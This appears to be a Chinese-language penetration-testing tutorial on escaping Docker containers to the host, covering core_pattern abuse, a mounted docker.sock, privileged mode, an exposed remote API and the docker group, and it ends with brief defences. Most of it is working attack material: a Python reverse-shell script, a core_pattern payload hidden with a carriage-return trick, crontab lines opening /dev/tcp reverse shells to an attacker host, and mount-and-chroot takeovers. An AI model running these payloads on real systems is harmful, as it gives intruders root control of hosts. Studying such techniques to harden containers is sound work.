Docker逃逸

本文章鉴于在渗透过程中拿到一个docker的shell,特此来学docker逃逸,参考文章已放于文章末尾,特此感谢

在渗透中遇到拿到web服务的shell之后,发现自己在docker环境中,需要进一步渗透,逃逸到宿主机。有时候甚至宿主机还是虚拟机的环境,这就要进行虚拟机逃逸了。

如何判断当前环境是否在Docker里

1.Metasploit 中的checkcontainer模块检测(判断是否为虚拟机,checkvm 模块)

用于判断目标系统是否运行在容器内,并能识别出具体的容器类型Docker

我们可以利用它检测的思路

  • 检查根目录下是否存在.dockerenv文件
1
ls -al /

image-20260717111905511

  • 检查 /proc/1/cgroup进程控制块内的控制组是否存在含有docker字符串!1号进程一般是根进程
1
cat /proc/1/cgroup | grep docker

image-20260717112059098

  • 看挂载点,看/proc/1/mountinfo眼中的文件系统是什么样子的

如果是容器,会看到密密麻麻的 overlay挂载,挂载参数里出现lowerdir=…,/docker/id

1
cat /proc/1/mountinfo

image-20260720103934203

挂载宿主机procfs逃逸

前置知识:

1.Linux User Namespace是linux的一项安全功能。核心作用:UID/GID映射隔离

开启UserNS–>容器内看起来是 root(uid=0),映射到宿主机其实是普通非 0UID

没开启UserNS–>容器内 root(uid=0)=== 宿主机真实 root(uid=0),UID完全对等。内核层面不做身份转换,容器root操作宿主机文件或接口时,权限等同于宿主机最高管理员。

2.procfs
进程文件系统,挂载路径固定/proc,存放进程相关目录,存放全局系统硬件、资源信息,存放内核动态配置项 /proc/sys/,以及存放其他特殊虚拟文件如/proc/mounts全系统所有挂载清单

3.core_pattern
它控制“进程崩溃后怎么处理core dump”。(程序运行中发生段错误、空指针、崩溃时,Linux会把这个进程当时完整内存、寄存器、调用栈全部保存成一个文件,用来事后调试崩溃原因,这个文件就叫 core 文件,整个行为叫core dump)

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。例如,写入 |/tmp/shell.sh,那么任何程序崩溃都会触发执行 /tmp/shell.sh

4.overlay2

Docker镜像由多层只读文件堆叠而成,为了不破坏原始镜像,容器所有新增/修改/删除文件不会改动只读镜像,全部写到独立可写层,再通过合并层对外展示完整文件系统,这套机制就是 Overlay2。Overlay2驱动程序通过Linux内核的OverlayFS特性,在内存中动态将这几层“合并”成一个统一的视图,并挂载到容器的根目录(/)。对于容器内的进程来说,它“对外”看到的文件系统就是一个完整的、单一的逻辑根目录,完全感知不到分层机制的存在。

虽然容器内的进程看到的是合并视图,但这个视图在宿主机上也有一个物理落点。Docker会在宿主机的 /var/lib/docker/overlay2/<容器ID>/merged/ 目录下,实际挂载这个合并后的文件系统。宿主机内核通过这个挂载点,将合并后的视图暴露给容器的 Mount Namespace(挂载命名空间)。如果没有这个“对外”暴露,容器进程就无法通过系统调用访问到任何文件。

挺晦涩难懂的说实话。。。。。如果你不想了解那么多底层细节。。就直接看漏洞分析!!!

总结挂载的全流程

阶段 1:在宿主机全局 Namespace 中完成挂载(容器启动前)

Docker Daemon 在宿主机上执行 mount 系统调用。此时没有任何新 Namespace 被创建,这个挂载操作就发生在宿主机的根 Namespace 里。内核在宿主机的全局挂载树中创建了一个挂载点对象,路径是 /var/lib/docker/overlay2/<ID>/merged。这时候,你在宿主机执行 ls 是能看到这个目录内容的。

阶段 2:创建容器进程的Mount Namespace

Docker 调用 clone()unshare() 系统调用启动容器进程,并传入 CLONE_NEWNS 标志。这一刻,新的 Mount Namespace 才被创建出来。新空间刚诞生时,内核会完整复制一份父级(宿主机)的挂载点列表给这个新空间作为“初始值”。此时,由于复制了父级列表,这个新 Namespace 的进程暂时也能看到宿主机的 /var/lib/docker/overlay2/<ID>/merged,以及宿主机的其他大量挂载点(比如 /dev/sys 等)。如果就此打住,容器进程就能看到宿主机的全部文件系统,这显然不是我们想要的。

阶段 3:移动挂载点(pivot_rootmount --move

紧接着,容器运行时在这个新的Namespace内部执行 mount --move 命令,将刚才挂载好的 /var/lib/docker/overlay2/<ID>/merged从宿主机路径摘下来,直接移动到该 Namespace 的 /(根目录)上。

  • 执行完 mount --move 后,宿主机全局 Namespace 的 /var/lib/docker/overlay2/<ID>/merged 路径就消失不见了(宿主机 ls 看不到了)。
  • 同时,这个挂载点对象被完全“嫁接”进了新 Namespace 的挂载树根部。

为什么 Docker 非要绕这么大一圈(先挂载再移动),而不直接在容器内挂载?
因为创建新 Namespace 时必须先有进程,而挂载 Overlay 需要宿主机路径权限。先由特权级的 Docker Daemon 在宿主机空间挂载好,再将整个挂载点原子性地“移交”给新空间,可以完美避免挂载过程中的权限泄露和竞争问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/var/www/html/ >cat /proc/mounts

overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/DUF4G6MVU7OMESTJHQQZUIJDFP:/var/lib/docker/overlay2/l/XUGWKNCL4CEBPGHUI235QBIWI4:/var/lib/docker/overlay2/l/VJ3YMVFCA4BYRW4X5RR677RUZF:/var/lib/docker/overlay2/l/SJYEQQA6W62PYTKKP6ISOCBL4W:/var/lib/docker/overlay2/l/R2Z6F3JAY6VXDSZACKV72672D3:/var/lib/docker/overlay2/l/GTOAGAVMYGPEYDPJMQSQSA7GA4:/var/lib/docker/overlay2/l/UCCCW6OHFCEMW6WRU3COGM3HMR:/var/lib/docker/overlay2/l/5B2FZSDG7BAFOMXI3J4QHKMDDV:/var/lib/docker/overlay2/l/6OVVKDMESLJCVJVKMBELTD3HWT:/var/lib/docker/overlay2/l/7NIQLTIVW3BKD23UZYCNVW5BG4:/var/lib/docker/overlay2/l/EX5M4WKARYCIVTW35PAHWXSF6Z:/var/lib/docker/overlay2/l/NV74ULK2I4KRV6ESF7SYZXGMMI:/var/lib/docker/overlay2/l/DXRMIPMBWW4E4KKXLZXQ5MHTCW:/var/lib/docker/overlay2/l/757EK2KOLIZK4FABLK6QZ5QJTX:/var/lib/docker/overlay2/l/ZGS636PDFPAR3JXEYDRZCVVBBR:/var/lib/docker/overlay2/l/PYX6NR7472SJDTJ6D3PVOJROL6:/var/lib/docker/overlay2/l/QXQYH7HNAWJODRJB7GQDMFNN5D,upperdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/diff,workdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu cgroup rw,nosuid,nodev,noexec,relatime,cpu 0 0
cgroup /sys/fs/cgroup/cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpuacct 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls cgroup rw,nosuid,nodev,noexec,relatime,net_cls 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_prio 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/dsystemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=dsystemd 0 0
systemd /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,name=systemd 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/sda1 /etc/resolv.conf ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda1 /etc/hostname ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda1 /etc/hosts ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0

可以看到虽然挂载点挪了窝,但内核根本没有修改挂载点对象内部存储的字符串属性。upperdir=workdir= 依然死死保留着当初在宿主机挂载时传入的绝对路径

容器内进程:此时 PHP/Nginx 进程启动,它看到自己的根目录 / 就是这个 Overlay 合并视图。当它读取 /var/www/html/index.php 时,内核通过 OverlayFS 驱动,根据内存中记录的 lowerdirupperdir 路径去物理磁盘找数据。

修改文件:当你在容器内执行 echo "hello" > /var/www/html/test.txt 时,OverlayFS 触发写时复制(CoW)。这个新文件不会碰只读镜像层,而是被内核直接物理写入到了 upperdir=/var/lib/docker/overlay2/756a.../diff 对应的目录里。

1
2
upperdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/diff
workdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/work

漏洞分析

如果你没有看前面的底层细节就记住

容器根目录 / 在宿主机上是被映射到 /var/lib/docker/overlay2/<ID>/merged这个路径的

例如在容器内的/tmp目录,对应的宿主机目录就是/var/lib/docker/overlay2/<ID>/merged/tmp

环境搭建:

创建容器并挂载/proc目录:

1
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

就等于把宿主机的核心系统文件“挂载”进了容器内部

两个危险因素的结合

  1. 容器内是root:Docker默认不开启User Namespace,容器内的root(UID=0)与宿主机的root是同一个用户。
  2. **挂载了宿主机 /proc**:由于容器内是root,它对挂载进来的 /host/core_pattern 文件就有了写权限。

至此,攻击者便获得了向宿主机核心文件写入恶意指令的能力

信息收集:

假设现在一个docker容器里

如果发现了两个core_pattern文件,则可能就是挂载了宿主机的procfs:

1
find / -name core_pattern

找到容器根目录 / 在宿主机上的实际映射路径(这两个命令都可以,主要是拿到绝对路径前面的部分)

1
2
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
cat /proc/mounts | xargs -d ',' -n 1 | grep diff

/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/work

/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/diff

所以容器内的根目录,在宿主机上就是/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged

部署“幽灵脚本”

在容器内的/tmp目录下创建一个反弹shell的Python脚本shell.py—-(对应宿主机路径/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.shell.py')
s.close()
if __name__ == "__main__":
main()

赋予执行权限:

1
chmod 777 .shell.py

将脚本写入到目标的proc目录下:

|:告诉内核,这是一个要执行的程序。

.../merged/tmp/.shell.py:指向容器内脚本在宿主机上的绝对路径

\rcore:这是一个常见的“隐藏”技巧。\r 是回车符,它会让管理员用 cat 查看该文件时,只看到 core,而忽略了前面的恶意命令。

1
echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py \rcore    " >  /host/proc/sys/kernel/core_pattern

触发“幽灵”

制造崩溃:在容器内编译并运行一个会“段错误”的程序,如对空指针进行解引用*a = 1

在攻击机上开启监听,接下来只需要让容器崩溃重启即可执行反弹shell脚本,使用程序实现:

1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

编译一下gcc .crash.c -o .crash

接下来就是

程序崩溃事件被Linux内核捕获,它读取 core_pattern 文件,看到 |,于是以宿主机root权限执行了 /var/lib/docker/overlay2/.../merged/tmp/.shell.py

最后成功监听到宿主机的反弹shell

逃逸成功

(如果你看了底层又看了漏洞分析,会感觉稍微有点懵逼。。。其实前面总结的:“容器内的根目录,在宿主机上就是 …/merged”。严谨地说还是不太对,因为这是“逻辑上的正确入口”,物理真相是容器内新创建的文件(如创建的.shell.py),实际上是躺在…/diff/tmp/里的,但是,宿主机内核在执行 core_pattern 时,shell.py这个脚本必须通过 …/merged这个挂载点入口去访问,因为merged是OverlayFS暴露给内核VFS(虚拟文件系统)的统一大门。内核通过这个大门,才能利用 OverlayFS 的合并逻辑,找到藏在diff里的文件)

挂载docker socket逃逸

关于什么是/var/run/docker.sock

运行过Docker Hub的Docker镜像的话,会发现其中一些容器时需要挂载/var/run/docker.sock文件。这个文件是什么呢?为什么有些容器需要使用它?简单地说,它是Docker守护进程(Docker daemon)默认监听的Unix域套接字,容器中的进程可以通过它与Docker守护进程进行通信。

通过这个Socket可以下发创建、启动、删除容器的指令,查询和管理容器、镜像、网络、卷,向守护进程传递任何参数;

若容器挂载了/var/run/docker.sock,就相当于获得了 Docker CLI(命令行接口)的完全访问权限,通过 Docker API,可以在容器内部直接管理宿主机上的 Docker进程,最终导致容器逃逸

环境搭建

1
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

进入容器并安装docker命令行客户端:(因为容器内原本没有 docker 命令)

1
2
3
4
5
6
7
8
9
10
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl

#官网
curl -fsSL https://get.docker.com/ | sh

#阿里云镜像
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh --mirror Aliyun

信息收集

1
ls -lah /var/run/docker.sock

若文件存在,则可能存在该漏洞

漏洞利用

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,并进入该新容器的 Bash:

1
docker run -it -v /:/host ubuntu /bin/bash

这条指令是通过Socket发给宿主机的dockerd执行的,它能够访问宿主机的整个文件系统

最后一步

1
chroot /host

进入新容器后,执行 chroot /host 会将当前进程的根目录切换为 /host,而 /host 就是宿主机的真实根目录。

即完成了逃逸

privileged特权模式逃逸

当 Docker 容器以 --privileged 启动时,会获得以下权限

  • 完全设备访问权限:可访问宿主机所有设备(如 /dev/sdavda/dev/tty 等)。
  • 绕过 Linux Capabilities 限制:默认容器仅保留部分权限(如 CAP_CHOWNCAP_NET_BIND_SERVICE),特权模式赋予容器所有Capabilities(包括 CAP_SYS_ADMIN)。
  • 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制

环境搭建

首先有一个普通用户Co0kieslover,并且加入了 docker 组:

1
2
3
4
5
6
新建一个用户,创建家目录,指定shell环境为bash
sudo useradd -m -s /bin/bash Co0kieslover
sudo passwd Co0kieslover
把用户追加到docker组里
sudo usermod -aG docker Co0kieslover
su - Co0kieslover

在普通用户下使用--privileged=true创建一个容器

1
docker run --rm --privileged=true -it alpine

至此环境搭建完毕

信息搜集

判断是否为特权模式:

1
cat /proc/self/status | grep CapEff

如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:

漏洞利用

方法1

查看磁盘挂载设备:发现宿主机磁盘/dev/vda3

1
fdisk -l

将其挂载到/test目录:这时候就可以尝试读取任意文件:

1
mkdir /test && mount /dev/vda3 /test

我们还可以尝试写定时任务来反弹shell:

输出重定向>> /test/etc/crontab,因为之前的 mount /dev/vda3 /test 已经把宿主机的根目录挂载到了容器内的 /test下,所以 /test/etc/crontab 实际上就是宿主机系统的 crontab 文件。

时间规则 * * * * *,5 个 * 分别代表分、时、日、月、周。全为 * 表示每分钟执行一次

指定执行命令的用户身份为root

1
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/攻击者ip/7777 0>&1"' >> /test/etc/crontab

攻击者在自己的服务器监听就好

1
nc -lvnp 7777

方法2

和前面提到的方法类似,由于我们将宿主机根目录挂载到了/test,而我们的shell本身权限又是root,所以这里可以直接chroot将/test改为根目录:

1
chroot /test

docker远程API未授权访问逃逸

基础知识

docker remote api 可以执行 docker 命令,若配置错误将其暴露在公网,攻击者可通过远程调用 Docker API直接管理容器,进而导致逃逸getshell

环境搭建

-H(–host)指定Docker 服务允许哪些渠道连接、管理Docker

本机通过sock文件正常操作Docker

将docker守护进程监听在0.0.0.0:全网任意机器都能通过 IP:2375 无密码调用Docker远程 API

1
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

信息收集

在攻击机上远程连接另一台机器的dockerd服务试试

走TCP协议访问远程API

images列出目标机器上所有本地镜像

1
docker -H tcp://x.x.x.x:2375 images

列出目标机器镜像即漏洞存在

漏洞利用

在这种情况下,我们相当于可以任意控制目标服务器的docker了

那么我们可以新运行一个容器,挂载点设置为服务器的根目录挂载至/test目录下

run 远程在目标机器上新建并启动一个容器

-it+/bin/bash 合起来就是拿到交互式shell,能手动输入命令

-v /:/test 把目标服务器整个硬盘根目录,完整映射到容器里的/test文件夹。

nginx:latest 使用nginx最新镜像作为容器运行环境

1
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/test nginx:latest /bin/bash

宿主机目录挂载过来之后的思路就一样了还是

1
chroot /test

或者定时任务监听:

1
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /test/etc/crontab

至此成功获取宿主机权限

内核漏洞逃逸

都来看大佬文章:👍👍👍膜拜

Linux提权-内核提权 - Yuy0ung - 博客园

就是宿主机的内核存在漏洞的情况下的一些利用,简单来说就是提权类的内核漏洞会很可能导致容器逃逸

这些内核漏洞通常是一些CVE,以CVE-2016-5195(dirty cow)为例:

和权限提升时的dirty利用方法差不太多,之所以能实现逃逸,是因为docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机,其他的利用细节不再赘述

  • CVE-2019-16884
  • CVE-2021-3493
  • CVE-2021-22555
  • CVE-2022-0492
  • CVE-2022-0847
  • CVE-2022-23222

docker用户组提权

基础知识:

其实这个和上面特权模式的利用方式有点类似。前提是拿到一个普通用户的shell,并且这个普通用户属于docker组。

上面没有详细说。其实docker用户组就是Docker 在安装时会创建一个docker用户组。任何属于该组的用户,都拥有通过 /var/run/docker.sock 这个Unix套接字与Docker守护进程通信的权限

前面复现特权模式逃逸的时候,我们已经创建了一个Co0kieslover用户并加入了docker组

所以切换到该用户即可进行复现:

信息搜集

查看发现当前用户在docker组中

1
groups

那么可以尝试docker用户组提权

漏洞利用

这里直接拉取一个针对上面情况的提权镜像,大致原理就是拉取镜像时将宿主机根目录挂载进docker,而docker启动后自动执行启动脚本chroot逃逸出来了,详细内容可以参考镜像的github:

chrisfosterelli/rootplease镜像的工作原理呢,其实就像上面我们手动利用的一样—-挂载宿主机根目录、chroot切换根目录、拿到宿主机Root Shell

为了方便直接拉取一个镜像,一键提权了

https://github.com/chrisfosterelli/dockerrootplease

1
docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

就提权成功了。

针对docker逃逸的防御措施

针对上面提到的手段,可以有如下防御措施:

  • 即时更新docker
  • docker使用capabilities时需要遵循最小特权原则
  • 尽量在启动容器时使用–user选项指定容器以非特权用户身份运行
  • 不要直接挂载主机文件,尽量使用数据卷或共享文件系统
  • 将容器中的root用户映射为宿主机中的普通用户
  • 不要在容器中挂载docker socket,也不要将docker api配置到公网

参考文章:Docker逃逸手法大全 - Yuy0ung - 博客园